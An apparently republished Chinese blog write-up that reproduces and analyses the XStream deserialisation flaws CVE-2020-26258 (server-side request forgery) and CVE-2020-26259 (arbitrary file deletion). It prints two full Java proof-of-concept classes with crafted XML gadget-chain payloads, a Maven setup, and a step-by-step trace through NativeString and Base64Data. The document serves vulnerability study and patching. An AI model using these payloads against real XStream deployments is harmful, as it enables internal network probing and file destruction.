XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象。XStream 是一款开源软件,允许在 BSD 许可证的许可下分发。

0x01 漏洞描述

Xstream上次对CVE-2020-26217处理并不彻底,虽然通过黑名单方法阻止了远程代码执行,但是仍然可以采用类似思路实现文件删除与服务器请求伪造。

影响版本

Xstream < = 1.4.14

修复版本

Xstream > = 1.4.15

风险等级

严重

0x02 PoC

CVE-2020-26258的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>/n" +"  <entry>/n" +"    <jdk.nashorn.internal.objects.NativeString>/n" +"      <flags>0</flags>/n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>/n" +"        <dataHandler>/n" +"          <dataSource class='javax.activation.URLDataSource'>/n" +"            <url>http://localhost:8989/internal/:</url>/n" +"          </dataSource>/n" +"          <transferFlavors/>/n" +"        </dataHandler>/n" +"        <dataLen>0</dataLen>/n" +"      </value>/n" +"    </jdk.nashorn.internal.objects.NativeString>/n" +"    <string>test</string>/n" +"  </entry>/n" +"</map>";XStream xstream = new XStream();xstream.fromXML(ssrf_xml);}}

CVE-2020-26259 的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>/n" +"  <entry>/n" +"    <jdk.nashorn.internal.objects.NativeString>/n" +"      <flags>0</flags>/n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>/n" +"        <dataHandler>/n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>/n" +"            <contentType>text/plain</contentType>/n" +"            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>/n" +"              <tempFile>/tmp/CVE-2020-26259</tempFile>/n" +"            </is>/n" +"          </dataSource>/n" +"          <transferFlavors/>/n" +"        </dataHandler>/n" +"        <dataLen>0</dataLen>/n" +"      </value>/n" +"    </jdk.nashorn.internal.objects.NativeString>/n" +"    <string>test</string>/n" +"  </entry>/n" +"</map>";XStream xstream = new XStream();xstream.fromXML(xml_poc);}}

0x03 漏洞详情

复现流程

环境

idea 构建maven工程,使用上述 PoC,pom文件为:

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>

直接运行即可。

复现

  • CVE-2020-26258

使用 flask 开一个临时服务

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

运行 PoC 收到请求

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

  • CVE-2020-26259

运行 PoC 前:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

运行 PoC 后:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

漏洞分析

这两个漏洞基本类似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 对象时会检查是否存在 entry:如果存在,那么在构建这个 entry 的过程中,会调用 entry 的hashCode 函数。CVE-2020-26217与本次两个都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函数。

调试分析

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

使用 xstream 的 fromXml 进行反序列化:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

跟进到 putCurrentEntryIntoMap,在 Xstream 构建 entry 的过程中,将本次的key 值即我们提供的 NativeString, put 到 map中:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

put 过程会进行一步 hash 操作:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

在 hash 里调用了key 的 hashCode 函数,即我们输入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函数。

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

NativeString 的 hashCode 函数调用 getStringValue,进而调用其 value 的toString 函数,而这个value则是我们提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

Base64Data 的 toString 调用了其 get。

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

目前为止,这两个漏洞与CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行,这里利用 getInputStream 与 close 进行 ssrf 和文件删除。

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

InputStream is = this.dataHandler.getDataSource().getInputStream();是触发ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函数:

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

URLDataSource 的 getInputStream 函数就是访问传入的 url。

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

文件删除则是在 ReadAllStream 的 close里进行的。

修复分析

XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

添加黑名单。

看完上述内容,你们掌握XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/220509.html

(0)
上一篇 2022年1月2日
下一篇 2022年1月2日

相关推荐

发表回复

登录后才能评论